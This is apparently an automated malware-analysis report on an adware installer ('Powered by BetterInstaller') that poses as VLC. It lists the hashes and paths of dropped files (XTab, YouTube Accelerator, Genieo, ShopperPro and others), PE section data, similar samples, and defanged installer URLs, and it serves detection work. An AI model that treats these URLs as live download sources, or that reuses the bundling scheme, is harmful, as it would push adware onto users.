41817ecf5d2ef902588474fe8deb3b55	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_dash_plugin.dll
ccf251f23b55b3c7a12680d47d45e561	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_httplive_plugin.dll
a19b056ebab5b14eff0fd65b35292e74	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_record_plugin.dll
5825d7e34143da127306a994d2c9a292	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_autodel_plugin.dll
79a4f3cf9110192d9fce068857c363c2	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_bridge_plugin.dll
bf0f6a501f1072c476b04c282163c08b	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_delay_plugin.dll
bf54595f2547568dee74086cd6492dea	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_description_plugin.dll
03a67f5411757f174368423b639fa7d4	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_display_plugin.dll
c1b07547369d8b810a05ac1503567e9b	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_dummy_plugin.dll
77192c3a78932df4e6bbe6f1d2d628aa	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_duplicate_plugin.dll
7bfc6b76ecef5ec7531bda08306945d5	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_es_plugin.dll
41c2e059ada54dfa9d0027611adb3004	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_gather_plugin.dll
e1b27bd7480df4aaacfc66dcedbe7097	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_langfromtelx_plugin.dll
9de00563fb1baa9ca1a8a3b7d014af0c	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_mosaic_bridge_plugin.dll
1a5bc90d24a6b143332af0227aecf7fb	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_raop_plugin.dll
51cff21e147325c7893258e575944ebb	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_record_plugin.dll
052f273430e78a5eb70ad58873f55968	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_rtp_plugin.dll
0b3327e353109210d1a494b13a37563c	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_select_plugin.dll
18684611a0c25165c7f039220ab58e37	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_setid_plugin.dll
8aaa9f6b8dfb7243828ddd574cbecea5	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_smem_plugin.dll
11ecf4145cc35a4d68d33b5018788d7e	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_standard_plugin.dll
49276e879ecc4cb7a78df71d6a978160	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_transcode_plugin.dll
2cffc943399952f80fc861664d5a38ef	c:\Program Files (x86)\VideoLAN\VLC\plugins\text_renderer\libfreetype_plugin.dll
0c23a4655d597a5236a6c647af7e67cf	c:\Program Files (x86)\VideoLAN\VLC\plugins\text_renderer\libtdummy_plugin.dll
c130cd5cffdc9409fa9c39f6bb89ab3d	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libgrey_yuv_plugin.dll
379ababcd4cbae0b4f1b4c75b8cbf736	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_rgb_plugin.dll
fdc703f5dcdb2fcb5fd31b0e1d0453d0	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_yuy2_plugin.dll
a3681a6b3b02f75fe96c3f02c660d36f	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_i420_plugin.dll
ca5128aab097cc34678085436845a19d	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_yuy2_plugin.dll
62727ef99e04adc08182e80a624dfb8d	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\librv32_plugin.dll
11fa01b2fa790bc76a604f8ca7d958d4	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i420_plugin.dll
63d156f2696b43209bfb82c9c8a6f470	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i422_plugin.dll
dc68aaa80dfd4994dbd4be0583195f67	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libadjust_plugin.dll
ff1069cd6d934d8d4385b4359603217f	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libalphamask_plugin.dll
4b7c0fe6fb5176e2254ae79cf3241c73	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libantiflicker_plugin.dll
5e889ea8bfe8b49aaa6da5b3549bb3bf	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libatmo_plugin.dll
81202d12045520ab7bd4a390b05b64bd	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libaudiobargraph_v_plugin.dll
fb5cdb1af3a4e9be27aca6184cf05571	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libball_plugin.dll
d1e703bd8b6707f9b712f96ab3e6ba5f	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libblend_plugin.dll
404490520049ced9fa7fe0821893afb2	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libblendbench_plugin.dll
b51270f05d0a9cfb12270f74c4a8aca7	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libbluescreen_plugin.dll
664eace01bfd15de2f87049ff26eceb9	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libcanvas_plugin.dll
6061c3dec7be29becae5814dad14de31	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libchain_plugin.dll
7f9dd77437c5fc5ba2aa898d327c769c	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libclone_plugin.dll
c1c3e434091929cda677b6b84d938b22	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libcolorthres_plugin.dll
9af7bc93e6c9a815d8e0f897c79df2db	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libcroppadd_plugin.dll
e302fc85d15ded44ed5ad978145ebe91	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libdeinterlace_plugin.dll
d3a866fddaf60ae0299315f3837e2ab2	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\liberase_plugin.dll
f93ffbe02abf3a55a5065c12969930dd	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libextract_plugin.dll
7127cc5d723c19dcd0f51796cd4058f0	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libgaussianblur_plugin.dll
05bb06441a8fd2585c142cbec873d822	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libgradfun_plugin.dll
568a0e37623c08506a4920a78653ff8c	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libgradient_plugin.dll
1445aaf6d64e659f5343d4bd9d154fd4	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libgrain_plugin.dll
d63fbbbf42397cef0f6d19e07fffcb0b	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libhqdn3d_plugin.dll
a83188016bc5940ce7f314b2206b9ea7	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libinvert_plugin.dll
777934933191367752f6c32cebf0fe62	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\liblogo_plugin.dll
0e3b107e7e39b0dea82d2981c7f229b5	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libmagnify_plugin.dll
8b4c53a1aaf5afce7611588d7eda7949	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libmarq_plugin.dll
b32611145ac13542fd0afce831c9ff0e	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libmirror_plugin.dll
7aaed4e5d8d122618fb680f1ff2965aa	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libmosaic_plugin.dll
ee9b8552cada887e09a86d564380b7ca	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libmotionblur_plugin.dll
e4f466849dd1cf5e1300519cb4629a64	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libmotiondetect_plugin.dll
ac722b303e62f38f7c258dc673e47f35	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libosdmenu_plugin.dll
1f61ca0497fbcfc157252d03ba7db30d	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libpanoramix_plugin.dll
7d9377ef700e4d365f30e5cfa6b9f5a7	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libposterize_plugin.dll
5b3941a14726a646d4222fd50f518d11	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libpostproc_plugin.dll
91655d3c1a93485406b0307ebf9afb4c	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libpsychedelic_plugin.dll
bc4a94995a3fb82076267e61e43fc546	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libpuzzle_plugin.dll
8361f8739745b76e4aebdab8cabdbad9	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libremoteosd_plugin.dll
d34fd10750c043116ba3d0473901483b	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libripple_plugin.dll
fd7942281ff72a2b796717f3aeb77002	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\librotate_plugin.dll
e80c177ef2d15384d4fb39f1884ba35c	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\librss_plugin.dll
e78f445f857881ce3cc9227e4b15ef24	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libscale_plugin.dll
15a16b51104c30e579c7076d78a136b4	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libscene_plugin.dll
4f67a5a00daff4154441de31ce482f43	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libsepia_plugin.dll
9b77256accac881eca576dca90b4a18d	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libsharpen_plugin.dll
20a2fe19e9042f7e58f437155b8801e5	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libsubsdelay_plugin.dll
5a15506508914e98933811db65ba9cb7	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libswscale_plugin.dll
f96736d0e0e5a1fdbf48b6e08098329f	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libtransform_plugin.dll
7816d73f2d80d5522f6a633146fcbab6	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libwall_plugin.dll
0012c04213738072a7a41fa90757e3af	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libwave_plugin.dll
509faadf173a803fa9b7347a0daa102b	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libyuvp_plugin.dll
226883f1713eda7ed9150e94521a9a8b	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libcaca_plugin.dll
bcf2038ae729811f9e952d90b5438f69	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libdirect2d_plugin.dll
ebfbd46fa799beb118917840ff2b59ca	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libdirect3d_plugin.dll
823334fd3b1cfb5988e1a90564e71434	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libdirectx_plugin.dll
e2628f86841e9cacce9abc4f67ae0d76	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libdrawable_plugin.dll
38c4bdc3a398bf3b527d3df9c43ab7c8	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libglwin32_plugin.dll
0a88cf118fbe4805b679984f105815d8	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libvdummy_plugin.dll
781e5c0d2ecf931cccc4f5daabf6267e	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libvmem_plugin.dll
995b42652811a69f67ff74204e9af74c	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libwingdi_plugin.dll
e970abba2edf38d61ebac54171054069	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libyuv_plugin.dll
e7292ee10c7825c71417ba4d0091c0b9	c:\Program Files (x86)\VideoLAN\VLC\plugins\visualization\libgoom_plugin.dll
bfe895a61b1590c39debb87208261361	c:\Program Files (x86)\VideoLAN\VLC\plugins\visualization\libprojectm_plugin.dll
ccd3f1eebfb8c29624e7202e10e0ecfa	c:\Program Files (x86)\VideoLAN\VLC\plugins\visualization\libvisual_plugin.dll
d2f7de9fd7347bbbb42520877788c6d5	c:\Program Files (x86)\VideoLAN\VLC\uninstall.exe
5deeffa7de3b818b832eafc14fe25944	c:\Program Files (x86)\VideoLAN\VLC\vlc-cache-gen.exe
1ef5b782dc95b24710d88fd5db6a1d14	c:\Program Files (x86)\VideoLAN\VLC\vlc.exe
32c87d99f32e3dd67a2a12859cd4db4d	c:\Program Files (x86)\XTab\BrowerWatchCH.dll
ee09ea66a92fadebffbd89be1c63c2b4	c:\Program Files (x86)\XTab\BrowerWatchFF.dll
5785680870eff9ba7b4f58c726552013	c:\Program Files (x86)\XTab\BrowserAction.dll
4405aafb968c7ac90fde9488b318588a	c:\Program Files (x86)\XTab\CmdShell.exe
a13906a3f2982519608feba9ad2c309b	c:\Program Files (x86)\XTab\HPNotify.exe
f2ec62ed6c7fa6fe91eaf23017fb09da	c:\Program Files (x86)\XTab\IeWatchDog.dll
43f70d97b5c448996e4b88f362dbb321	c:\Program Files (x86)\XTab\ProtectService.exe
b43aa56445472ba1a1c1026f2399155d	c:\Program Files (x86)\XTab\SupTab.dll
3e29914113ec4b968ba5eb1f6d194a0a	c:\Program Files (x86)\XTab\msvcp110.dll
4ba25d2cbe1587a841dcfb8c8c4a6ea6	c:\Program Files (x86)\XTab\msvcr110.dll
164e6612f9b044ae3e53e864e300e571	c:\Program Files (x86)\XTab\uninstall.exe
75e20c2ed26cc59312c17c10522ac96a	c:\Program Files (x86)\YouTube Accelerator\Res.dll
973567b98cdfc147df4e60471d9df072	c:\Program Files (x86)\YouTube Accelerator\UNWISE.EXE
54bca797bf5f3815df589394dfcdc186	c:\Program Files (x86)\YouTube Accelerator\Updater.exe
aa9f9a11a7366538a9566765b6a5abdd	c:\Program Files (x86)\YouTube Accelerator\YTAUninstall.exe
0b864ef18bacd7869c5d52b768514389	c:\Program Files (x86)\YouTube Accelerator\YouTubeAccelerator.exe
52655c3779cbb93c795d9ec92e2ff99b	c:\Program Files (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe
3f4049d8bf040812a96680c5a6b377fd	c:\Program Files (x86)\YouTube Accelerator\cabex.dll
3e0d9f773490e76c9f393c35e0f5bd25	c:\Program Files (x86)\YouTube Accelerator\engine.dll
a88172b4208be804e7ab3f9401b384cf	c:\Program Files (x86)\YouTube Accelerator\helper.dll
8127a6151796de931a0d2ce10ef1f53c	c:\Program Files (x86)\YouTube Accelerator\ipc.dll
44284eb1ce4c0cdfa4f633f307b59316	c:\Program Files (x86)\YouTube Accelerator\lspinst.exe
4ea255dde8bb9894bf1d395e4455eb0a	c:\Program Files (x86)\YouTube Accelerator\lspinst2.exe
a082e5473b2a9a4d846ed7ddf637ac76	c:\Program Files (x86)\YouTube Accelerator\sporder.dll
373fc94e9297fb2c08d0760ca15ce423	c:\Program Files (x86)\YouTube Accelerator\testlsp.exe
0869cb743bbcffec40a64164dfcf5b3c	c:\Program Files (x86)\YouTube Accelerator\unelevate.exe
356bd4595cc6f81db83f76f45b462ce4	c:\Program Files (x86)\YouTube Accelerator\xmldb.dll
a818cb9cb7ae050c9b6f749910fcae7b	c:\Program Files (x86)\YouTube Accelerator\ytalsp.dll
29183fad99ed097d2714972b8e9e0830	c:\Program Files (x86)\iWebar\Uninstall.exe
b86408c07f04e4d931712da7ffd29d86	c:\Program Files (x86)\iWebar\b26f5a73-8099-47b6-80d1-63be8518ea67-4.exe
45e7af15a98bb92f23d8cf9aa4b508b0	c:\Program Files (x86)\iWebar\b26f5a73-8099-47b6-80d1-63be8518ea67-5.exe
16038e657a9b949bcdf31fc86aff9ff2	c:\Program Files (x86)\iWebar\utils.exe
a071559a6d3d50f522705789a37c49f1	c:\Program Files\Common Files\ShopperPro\spbia.exe
77628eca1b2c00746d0294aad36594cd	c:\Program Files\Common Files\ShopperPro\spbici32.dll
1234225b7b6bbec2ba4e56e53d17a8e7	c:\Program Files\Common Files\ShopperPro\spbici64.dll
6766c0725d07f754073755d24881ad57	c:\Program Files\Common Files\ShopperPro\spbii32.exe
5bd3308fb4863335b75a409006c1fd1d	c:\Program Files\Common Files\ShopperPro\spbii64.exe
1a9675cb7d6d33b31967563e47ee4de8	c:\Program Files\Common Files\ShopperPro\spbiu.exe
672bbb554fb39ab838bc0dea19c66624	c:\Program Files\Common Files\ShopperPro\spbiw.sys
b776d04e271a439f5eafae717190ccbb	c:\ProgramData\ShopperPro\ShopperPro.dll
43ce157f180fa7bca2f19311835b0a4b	c:\ProgramData\ShopperPro\ShopperPro64.dll
8a8f5ebe2fd9c2e6325723209b9cdf32	c:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe
b776d04e271a439f5eafae717190ccbb	c:\Users\All Users\ShopperPro\ShopperPro.dll
43ce157f180fa7bca2f19311835b0a4b	c:\Users\All Users\ShopperPro\ShopperPro64.dll
8a8f5ebe2fd9c2e6325723209b9cdf32	c:\Users\All Users\WindowsMangerProtect\ProtectWindowsManager.exe
ea0ca98847dc1a403ffec3be116e8b2f	c:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_26762\DCytaiesmt_smtyc_setup.exe
ea0ca98847dc1a403ffec3be116e8b2f	c:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_4716\DCytaiesmt_smtyc_setup.exe
c71eac5e1155ea03d36c6fa5b1d57cef	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF0A.tmp
d65611fbc4da8cea4e886076bec82d1e	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe
7fcf5e98d3c922f100c7459dfefd22bb	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_18698\ins_iwebar.exe
be3ccd4ed465144394fca6420ddac5e0	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_18698\ins_sense.exe
30cdf7a6c26e2b578a765fbe9060dcbb	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_18698\ins_shopperpro.exe
fdf2293c3bf39ef22406bc5c9e860e07	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_18698\ins_yta.exe
45960b40c1ecb75ed5549a80049879e1	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx
75e20c2ed26cc59312c17c10522ac96a	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll
0b864ef18bacd7869c5d52b768514389	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe
52655c3779cbb93c795d9ec92e2ff99b	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe
3e0d9f773490e76c9f393c35e0f5bd25	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll
a88172b4208be804e7ab3f9401b384cf	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll
8127a6151796de931a0d2ce10ef1f53c	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll
44284eb1ce4c0cdfa4f633f307b59316	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe
4ea255dde8bb9894bf1d395e4455eb0a	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe
a082e5473b2a9a4d846ed7ddf637ac76	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll
373fc94e9297fb2c08d0760ca15ce423	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe
0869cb743bbcffec40a64164dfcf5b3c	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe
54bca797bf5f3815df589394dfcdc186	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe
356bd4595cc6f81db83f76f45b462ce4	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll
a818cb9cb7ae050c9b6f749910fcae7b	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll
aa9f9a11a7366538a9566765b6a5abdd	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe
92c732231b7909edeff180174c6ef499	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe
3f4049d8bf040812a96680c5a6b377fd	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll
6f7d9e111a17fab195efe0bbd3a0442d	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd21.tmp\AccDownload.dll
faa7f034b38e729a983965c04cc70fc1	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd21.tmp\nsProcess.dll
a5f8399a743ab7f9c88c645c35b1ebb5	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdD653.tmp\NSISdl.dll
ea0ca98847dc1a403ffec3be116e8b2f	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssB7FA.tmp\DCytaiesmt_smtyc_setup.exe
fc66b631d43b1913ac8ba0f0103be130	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe
33c89fd5d5d19227de0f5cd4a0d73722	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\sqlite-3.7.2-sqlitejdbc.dll
0869cb743bbcffec40a64164dfcf5b3c	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\unelevate.exe
69d2894206516657b7a06eeea5b917e5	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe
41be921214a9653b77b80086b4c5a7a5	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\tmp\ChromeSync.exe
183ce47148c66717fbcd147a41a0caf6	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\tmp\ClearnC.exe
a96619564071df84cc892752df062a6d	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\tmp\RegWrite.exe
eee73fddecaeaeb8ac459dff8e897762	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\tmp\XTab_Setup(2409).exe
8a8f5ebe2fd9c2e6325723209b9cdf32	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\tmp\wpm_v20.0.0.2227.exe
acf2f3ad315964ec2ed1ec4e61bd1f96	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe
ac81a34dd4d4b173fb78897fa6fe719f	c:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\bin\debugInfoCollector.exe
e032af67bae3ef498bc50c9435310641	c:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\NativeUtils.dll
58aa210b2188876b1beb1bb0e796ac20	c:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\genieutils.exe
3d7d0dc1234271fd88618c571294ee64	c:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\x64\NativeUtils.dll
6e92fc22a6541bc4e5a78b37624e23d7	c:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\bin\license.exe
03bec7106b2e338a2ea305fb670a3efa	c:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\uninstall\genuninstallui.exe
03bec7106b2e338a2ea305fb670a3efa	c:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\uninstall\gim394750002\genuninstallui.exe
83a2f2256120d07303a589a3a173c080	c:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\uninstall\gim394750002\partner_uninstall.exe
83a2f2256120d07303a589a3a173c080	c:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\uninstall\partner_uninstall.exe
279f9df88a8c988a630547f5c485e7c6	c:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\TrayUi\bin\gentray.exe
7bfb3be3e7b0aea2b8d3df8fb28e11c7	c:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater\bin\IeSearchProvider.exe
f49080e1e1330bd4c712da5109d19085	c:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater\bin\firsttime_setup.exe
fd1018bc2d2e13587bea7add468e2149	c:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater\bin\genupdater.exe
9edafc76bc2e693ba0387ec4f3d81ce3	c:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater\genieo_temp\InstallGenieo.exe
dd7565902d9d990e163cf231782f5c81	c:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater\genieo_temp\genieo_setup.exe
bc0917682cc2d59539b7e6c6ed2da3ca	c:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater\uninstall\Elevate.exe
f37d900bd0494d9dbbc688bb407d7061	c:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater\uninstall\updater_uninstall.exe
dc18fb53cbc6626ad24459faae898aba	c:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\uninstall\firsttime_uninstall.exe
634f09783517492c457987eddb48f94a	c:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\uninstall\framework_uninstall.exe
4b9161c61c4ce0b3a6e39418df7a50a4	c:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\uninstall\trayapp_uninstall.exe
a5abe7fde433ba716f9cdb3b6c2a9c08	c:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Data\Updater\genieo_temp\framework_setup.gen
dd7565902d9d990e163cf231782f5c81	c:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Data\Updater\genieo_temp\genieo_setup.gen
d8dfbd86e6df480587a4b210c5b61184	c:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Data\Updater\genieo_temp\trayapp_setup.gen
9722e566d84f0fec6777f3880a1b86b7	c:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\UninstallManager.exe
45960b40c1ecb75ed5549a80049879e1	c:\Windows\SysWOW64\AniGIF.ocx
45960b40c1ecb75ed5549a80049879e1	c:\Windows\System32\AniGIF.ocx

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 2.1.0.0
File Description: Powered by BetterInstaller
Comments:
Language: Language Neutral

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	28860	29184	4.36907	33e8227bf6edbf3997e3d0895494668e
.data	36864	140	512	0.818223	1b0351714f371c0ba066871d4e504b00
.rdata	40960	3196	3584	3.54441	88a268b1fac88e9fad865c68cf3abce2
.bss	45056	110088	0	0	d41d8cd98f00b204e9800998ecf8427e
.idata	155648	4932	5120	3.53424	11c816edc4ef9cc4aa5511f8a707232b
.ndata	163840	36864	1024	0	0f343b0931126a20f133d67c2b018a3b
.rsrc	200704	17800	17920	3.95009	38aa1bb4b24ba9d1eca880d3aa08b1cd

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 865
3fe02ef6a2ede61ce4dac40da7715dcd
8e25dfe8217ba386d620362e94ed6f92
105cbf03ba08e452a58bac40ceb332ab
f8e0fbf75fd13a019abfe1d3c1922124
13b03f6c0de9153dd347d5eac3330bb3
d58043d9d3fe533fe8f278afc2077170
0abe125b7c2346a818d4d5bdd8c8f9b6
d6d6f4721800040f4ac6d56c0170db11
28bd612b4a1cbdede4ca9553ce855e3e
301f0c5be3bff2133bcc7bbeb7d8d2a3
cf8d15eb265f9a862e3a6ee389fb51ba
3964bffc1148d97eeb066fa88a680bf5
1166e918467a5454afb54db89212aad7
71205fa2528b0c3f5ba797f7d8eff380
9e957385bee3fc6ab1cf2b4371a69e9d
5532f38c00a75c9a568e8f4b981a39c1
16dad6cb58d4311ddd717bbd36362d23
3ee49800cc3c2ce74fa63e6174c81dff
a26baa97f75e71909c5f08ce93549cf7
0a6e78dcc9fb156b4ff298b1e5fe1941
6d203980cf5a21ffee449394f4bf280e
8625ca1db67bb0868ba6d89d9c34550b
b061e2a27452f74226d698e1b3e124bb
59d588e9c97e25cc1f254ff12a0f0466
3ecfcbcb3382c6b67c0ae0e142ed465c

URLs

URL	IP
hxxp://installer.betterinstaller.com/network_smb_indostreamix/vlcmediaplayerelzy/226e0daa89188549baf0d586a6bc816b?v=2.1&uid=226e0daa89188549baf0d586a6bc816b&muid=AD2252CE007468623BD139B0ADEC3423
hxxp://d3mdjn4wfmheda.cloudfront.net/images/Tokyo/tokyoDownloadManagerStarBG.jpg	54.192.231.18
hxxp://d1jawciiqjso8h.cloudfront.net/images/Tokyo/tokyo_sprite_full.png	54.192.231.9
hxxp://installer.betterinstaller.com/installer/ajax
hxxp://d1jawciiqjso8h.cloudfront.net/sponsored/speedbit/eula-youtubeaccelerator.html	54.192.231.9
